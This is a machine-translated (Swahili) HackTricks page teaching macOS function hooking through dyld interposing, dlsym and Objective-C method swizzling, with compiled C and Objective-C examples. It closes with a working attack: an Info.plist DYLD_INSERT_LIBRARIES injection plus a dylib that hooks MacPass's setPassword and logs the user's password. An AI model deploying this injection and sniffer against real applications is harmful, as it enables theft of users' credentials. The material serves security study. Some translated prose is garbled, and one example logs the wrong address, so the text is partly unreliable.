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hacktricks/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
Translator workflow 54a7bb5de7 Translated to Swahili
2024-02-11 02:13:58 +00:00

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Kufunga Kazi ya Kazi ya macOS

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Kuingiliana kazi

Tengeneza dylib na sehemu ya __interpose (au sehemu iliyofungwa na S_INTERPOSING) ambayo ina tuples ya pointa za kazi zinazorejelea kazi za asili na mbadala.

Kisha, ingiza dylib na DYLD_INSERT_LIBRARIES (kuingiliana kunahitaji kutokea kabla ya programu kuu kupakia). Kwa dhahiri, mipaka inayotumika kwa matumizi ya DYLD_INSERT_LIBRARIES inatumika hapa pia.

Kuingiliana printf

{% tabs %} {% tab title="interpose.c" %} {% code title="interpose.c" %}

// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);

int ret = printf("Hello from interpose\n");
return ret;
}

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };

{% endcode %} {% endtab %}

{% tab title="hello.c" %}

//gcc hello.c -o hello
#include <stdio.h>

int main() {
printf("Hello World!\n");
return 0;
}

#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>

typedef int (*orig_open_type)(const char *pathname, int flags);
typedef FILE *(*orig_fopen_type)(const char *pathname, const char *mode);

int open(const char *pathname, int flags) {
    orig_open_type orig_open;
    orig_open = (orig_open_type)dlsym(RTLD_NEXT, "open");
    printf("Opening file: %s\n", pathname);
    return orig_open(pathname, flags);
}

FILE *fopen(const char *pathname, const char *mode) {
    orig_fopen_type orig_fopen;
    orig_fopen = (orig_fopen_type)dlsym(RTLD_NEXT, "fopen");
    printf("Opening file: %s\n", pathname);
    return orig_fopen(pathname, mode);
}

This code demonstrates how to use function hooking in macOS using the dlsym function from the dlfcn.h library. The open and fopen functions are hooked by defining new functions with the same name. The original functions are then obtained using dlsym and called within the hooked functions. In this example, whenever open or fopen is called, the pathname of the file being opened is printed to the console before the original function is executed.

// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib

#include <stdio.h>

#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};

int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}

DYLD_INTERPOSE(my_printf,printf);

{% endtab %} {% endtabs %}

DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose

Kuchanganya Njia

Katika ObjectiveC hii ndivyo njia inavyoitwa: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]

Inahitajika kitu, njia na paramu. Na wakati njia inaitwa, ujumbe unatumwa kwa kutumia kazi objc_msgSend: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);

Kitu ni someObject, njia ni @selector(method1p1:p2:) na hoja ni value1, value2.

Kwa kufuata muundo wa vitu, ni rahisi kufikia orodha ya njia ambapo majina na pointa kwa msimbo wa njia zinapatikana.

{% hint style="danger" %} Tafadhali kumbuka kwamba kwa sababu njia na darasa zinafikiwa kulingana na majina yao, habari hii imehifadhiwa katika faili ya binary, kwa hivyo inawezekana kuipata na otool -ov </path/bin> au class-dump </path/bin> {% endhint %}

Kufikia njia za asili

Inawezekana kufikia habari za njia kama vile jina, idadi ya paramu au anwani kama ilivyo katika mfano ufuatao:

// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));

// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);

NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);

for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}

// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}

// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}

// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);

// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);

return 0;
}

Kuchanganya Njia na method_exchangeImplementations

Kazi ya method_exchangeImplementations inaruhusu kubadilisha anwani ya utekelezaji wa kazi moja kwa nyingine.

{% hint style="danger" %} Kwa hivyo, wakati kazi inaitwa, inayotekelezwa ni ile nyingine. {% endhint %}

//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>


// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original method
return [self swizzledSubstringFromIndex:from];
}

@end

int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);

// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

return 0;
}

{% hint style="warning" %} Katika kesi hii, ikiwa mimba ya utekelezaji wa njia halali inathibitisha jina la njia, inaweza kugundua hii swizzling na kuzuia kutoka kwa kukimbia.

Teknolojia ifuatayo haina kizuizi hiki. {% endhint %}

Method Swizzling na method_setImplementation

Muundo uliopita ni wa ajabu kwa sababu unabadilisha utekelezaji wa njia 2 moja kutoka kwa nyingine. Kwa kutumia kazi method_setImplementation unaweza kubadilisha utekelezaji wa njia kwa nyingine.

Kumbuka tu kuhifadhi anwani ya utekelezaji wa asili ikiwa utaita kutoka kwa utekelezaji mpya kabla ya kuibadilisha kwa sababu baadaye itakuwa ngumu sana kupata anwani hiyo.

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}

@end

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];

// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));

// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));

// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);

return 0;
}
}

Metodolojia ya Shambulio la Hooking

Katika ukurasa huu njia tofauti za kufunga kazi zilijadiliwa. Hata hivyo, zilihusisha kuendesha nambari ndani ya mchakato ili kufanya shambulio.

Ili kufanya hivyo, njia rahisi ya kutumia ni kuingiza Dyld kupitia mazingira ya pembejeo au utekaji. Hata hivyo, nadhani hii pia inaweza kufanywa kupitia kuingiza mchakato wa Dylib.

Hata hivyo, chaguo zote mbili zinahusiana na faili/mchakato usiolindwa. Angalia kila njia ili kujifunza zaidi kuhusu vikwazo.

Hata hivyo, shambulio la kufunga kazi ni maalum sana, mshambuliaji atafanya hivi ili kuiba habari nyeti kutoka ndani ya mchakato (kama sio hivyo, ungefanya tu shambulio la kuingiza mchakato). Na habari nyeti hii inaweza kuwa katika Programu zilizopakuliwa na mtumiaji kama vile MacPass.

Kwa hivyo njia ya mshambuliaji itakuwa kupata udhaifu au kuondoa saini ya programu, kuingiza DYLD_INSERT_LIBRARIES pembejeo ya mazingira kupitia Info.plist ya programu kwa kuongeza kitu kama:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>

na kisha sajili tena programu:

{% code overflow="wrap" %}

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app

{% endcode %}

Ongeza katika maktaba hiyo kificho cha kufunga ili kuchukua habari: Nywila, ujumbe...

{% hint style="danger" %} Tafadhali kumbuka kuwa katika toleo jipya zaidi la macOS ikiwa unafuta saini ya faili ya programu na hapo awali ilitekelezwa, macOS haitatekeleza tena programu hiyo. {% endhint %}

Mfano wa Maktaba

// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);

// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);
}

// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));

// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}

Marejeo

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